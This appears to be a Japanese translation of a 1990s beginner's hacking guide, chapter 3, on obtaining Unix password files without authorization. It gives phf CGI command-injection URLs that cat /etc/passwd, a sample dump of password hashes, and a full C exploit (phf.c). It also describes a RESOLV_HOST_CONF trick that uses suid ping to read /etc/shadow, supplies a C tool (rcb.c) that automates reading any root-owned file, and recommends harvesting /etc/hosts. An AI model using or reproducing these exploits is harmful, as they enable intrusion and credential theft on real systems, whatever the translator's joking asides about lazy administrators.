==================== お子様 UNIX 第4部 ======================= -------------------------------------- 第3章 パスワードファイルを手に入れる Chapter III Getting passwd files -------------------------------------- unix システムからパスワードファイルを手に入れるには、いくつかの方法がある。 ほとんどの場合、アカウントが必要だ。しかしアカウントなしにアクセスする方法 もある。ここで通常の passwd ファイルと shadow passwd ファイルの違いを学ば なければいけない。また、shadow passwd を読む方法も知っておかなければなら ない。 --------------------- セクション3A PHF Section 3A PHF WWW PH Query --------------------- これは WWW cgi-bin ディレクトリにある phf と呼ばれるプログラムだ。これには ブラウザでアクセスできる。これでシステムファイルを読む事ができ、それを保存 できる。(例えば /etc/passwd) もしサーバーが httpd を root で稼動していたら、phf を使ってパスワードを変え ることさへできる。.... // [訳注] // pfh はあまりに有名になっているので省略します。まず使えないように // なっているか、警告のメッセージでひやっとさせられるのがオチだからです。 // その上、phf_abuse.log に finger されたアナタが記録されるかも知れません。 // 以下にダイジェストで載せておきます。(がっかりした?) ブラウザで、http://xxx.org/cgi-bin/phf/?Qalias=x%0aid これは、httpd の稼働id を表示する。phf が働いていれば、次のような 反応がある。 /usr/local/bin/ph -m alias=x id uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) これで、user=nobody で動いていることがわかる。 パスワードファイルを cat するには、 http://xxx.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd /usr/local/bin/ph -m alias=x cat /etc/passwd これで手に入った。 root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/usr/lib/news: uucp:*:10:14:uucp:/var/spool/uucppublic: operator:*:11:0:operator:/root:/bin/bash games:*:12:100:games:/usr/games: man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash nobody:*:-2:100:nobody:/dev/null: ftp:*:404:1::/home/ftp:/bin/bash guest:*:405:100:guest:/dev/null:/dev/null bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash 小さなパスワードファイルだ。ここでいくつかを学ぼう。 mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash 1 :2 :3 :4 :5 :6 :7 1=ユーザー名 2=暗号化パスワード 3=ユーザー番号(uid) 4=グループ番号(gid) 5=本名 (real name) 6=ホームディレクトリ 7=シェル (*x) ブラウザを使いたくないなら、ここにスクリプトがある。これをコンパイルして シェルから動かす。 phf.c ------ cut here---- /* Some small changes for efficiency by snocrash. */ /* * cgi-bin phf exploit by loxsmith [xf] * * I wrote this in C because not every system is going to have lynx. Also, * this saves the time it usually takes to remember the syntatical format * of the exploit. Because of the host lookup mess, this will take * approximately 12 seconds to execute with average network load. Be patient. * */ #include <stdio.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <errno.h> int main(argc, argv) int argc; char **argv; { int i = 0, s, port, bytes = 128; char exploit[0xff], buffer[128], hostname[256], *command, j[2]; struct sockaddr_in sin; struct hostent *he; if (argc != 3 && argc != 4) { fprintf(stderr, "Usage: %s command hostname [port]", argv[0]); exit(1); } command = (char *)malloc(strlen(argv[1]) * 2); while (argv[1][i] != '\0') { if (argv[1][i] == 32) strcat(command, "%20"); else { sprintf(j, "%c", argv[1][i]); strcat(command, j); } ++i; } strcpy(hostname, argv[2]); if (argc == 4) port = atoi(argv[3]); else port = 80; if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) { he = gethostbyname(hostname); if (he) { sin.sin_family = he->h_addrtype; memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0], he->h_length); } else { fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname); exit(1); } } sin.sin_family = AF_INET; sin.sin_port = htons((u_short) port); if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) { fprintf(stderr, "%s: could not get socket\n", argv[0]); exit(1); } if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { close(s); fprintf(stderr, "%s: could not establish connection\n", argv[0]); exit(1); } sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command); free(command); write(s, exploit, strlen(exploit)); while(bytes == 128) { bytes = read(s, buffer, 128); fprintf(stdout, buffer); } close(s); } -------- cut here このように使う。 bash% phf id xxx.org ------ <H1>Query Results</H1> <P> /usr/local/bin/ph -m alias=X id <PRE> uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) </GET /cgi-bin/phf/?Qalias=X%0aid ------ コマンドのに %codes を使うことを忘れないように。パスワードを cat するには このようにする。 phf cat%20/etc/passwd hostname.xxx ------------------------- セクション3 ニュービー Section 3B Newbe's ------------------------- パスワードを手に入れる別の場所もある。このガイドのセクション2Bを思い出す。 君のまぬけな友達に、君のずるいアイデアを使う。 このマニュアルを読む前なら、君もまぬけになれたのだが... ----------------------------------------------- セクション 3C シャドウパスワードを手に入れる Section 3C Getting shadow passwd files ----------------------------------------------- シャドウパスワードとは何か。次を見てみよう。 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operator:x:11:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games: man:x:13:15:man:/usr/man: postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash nobody:x:-2:100:nobody:/dev/null: ftp:x:404:1::/home/ftp:/bin/bash guest:x:405:100:guest:/dev/null:/dev/null bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash web:x:502:100:Web Master:/home/web:/bin/bash mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash 何かが違う? そう、暗号化されたパスワードがない。もし、root になれたら、 暗号化されたパスワードは /etc/shadow で見れる。管理者がこれを奇妙なディ レクトリに置いていることがある。しかしほとんどは /etc で見つかる。 他のシャドウパスワードでは master.passwd となることがある。しかし、root を取れば見て回る事ができる。マシンのアカウントを持ち、まだ root にアクセ スできていないとしよう。libc 5.4.7 (まだ多く使われている)を使っていれば、 問題ない。また、多くの suid プログラムも使える。 ping, traceroute, rlogin, ssh ... など。 1. bash あるいは sh とタイプして bash をスタートする。 2. export RESOLV_HOST_CONF=/etc/shadow をタイプ。 3. 上記コマンドと一緒に asdf をタイプする。例えばこのように。 ping asdf うまくいけば、シャドウパスワードを表示する。 Note: /etc/shadow を他の root が所有するファイルに置く変える事ができる。 ここにどんなファイルでも表示する簡単なプログラムがある。 rcb.c -------- cut here /* RCB Phraser - therapy in '96 * Limits: Linux only, no binary files. * little personal message to the world: FUCK CENSORSHIP! */ #include <stdio.h> void getjunk(const char *filetocat) { setenv("RESOLV_HOST_CONF",filetocat,1); system("ping xy 1> /dev/null 2> phrasing"); unsetenv("RESOLV_HOST_CONF"); } void main(argc,argv) int argc; char **argv; { char buffer[200]; char *gag; FILE *devel; if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help"))) { printf("RCB Phraser - junked by THERAPY\n\n"); printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]); exit(1); } getjunk(argv[1]); gag=buffer; gag+=10; devel=fopen("phrasing","rb"); while(!feof(devel)) { fgets(buffer,sizeof(buffer),devel); if(strlen(buffer)>24) { strcpy(buffer+strlen(buffer)-24,"\n"); fputs(gag,stdout); } } fclose(devel); remove("phrasing"); } -------------- cut here 使い方: コマンドラインから rcb /etc/shadow(あるいは他の読めないファイル) ---------------------------------------- セクション 3D /etc/hosts を手に入れる Section 3D Getting /etc/hosts ---------------------------------------- 用心のために、どのシステムが hosts ファイルにあるか、システムの ip アドレスや異なるドメイン名は何か、/etc/hosts を cat して確かめる。 後で必要になるかも知れない。 ------------------------------------------------ [訳者後記] PHF については、今さらコメントしませんが...夢のコマンドでした。 あ、いや、夢のコマンドだったと、聞いています。 さあ、どうでした。/etc/shadow に export なんか許してもらえましたか? え、もらえた。それでは早く管理者のところへ行って、 「お前ら、ちゃんと仕事しろ!」 と言いましょう。 考えてみれば、shadow なんて root のおまけですから、それよりも messages あたり を見た方が良い事があるかも知れませんねぇ。いずれにせよ、ちゃんとしたパスワー ドをつけていれば、そう簡単にクラックなんかできません。root のアカウントをクラ ックできたら...... そう、やっぱり、管理者のところに行って、 「お前ら、ちゃんと仕事しろ!」 と言いましょう....